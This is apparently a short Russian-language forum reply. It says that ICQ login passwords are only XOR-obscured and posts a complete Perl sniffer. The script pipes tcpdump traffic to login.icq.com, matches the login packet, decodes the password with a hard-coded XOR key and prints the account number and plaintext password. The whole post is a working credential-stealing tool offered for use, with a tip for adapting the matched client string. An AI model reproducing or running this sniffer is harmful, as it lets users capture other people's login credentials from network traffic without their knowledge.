> Ну ежель plain text auth, то да, согласен. Давно не юзал.

обычный xor, вот снифер на 37 строк. Возможно строку ICQ Inc. - Product of ICQ \(TM\) необходимо поменять в зависимости от клиента.

#!/usr/bin/perl
sub decryptpassword {
my ($pass) = @_;
my $res = "";
my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92";
for(my $i = 0; $i < length($pass); $i++) {
$res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1)));
}
return $res;
}
my $buf;
open(DUMP, "tcpdump -w - -s 65535 -i any -l 'dst host login.icq.com'|")
or die "cannot run tcpdump(8)";
while(!eof(DUMP)) {
$buf .= getc(DUMP);
if($buf =~ m/\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)$/) {
my $uin = $1;
my $pass = decryptpassword($2);
print "found. $uin :: $pass\n";
$buf = "";
}
}
close(DUMP);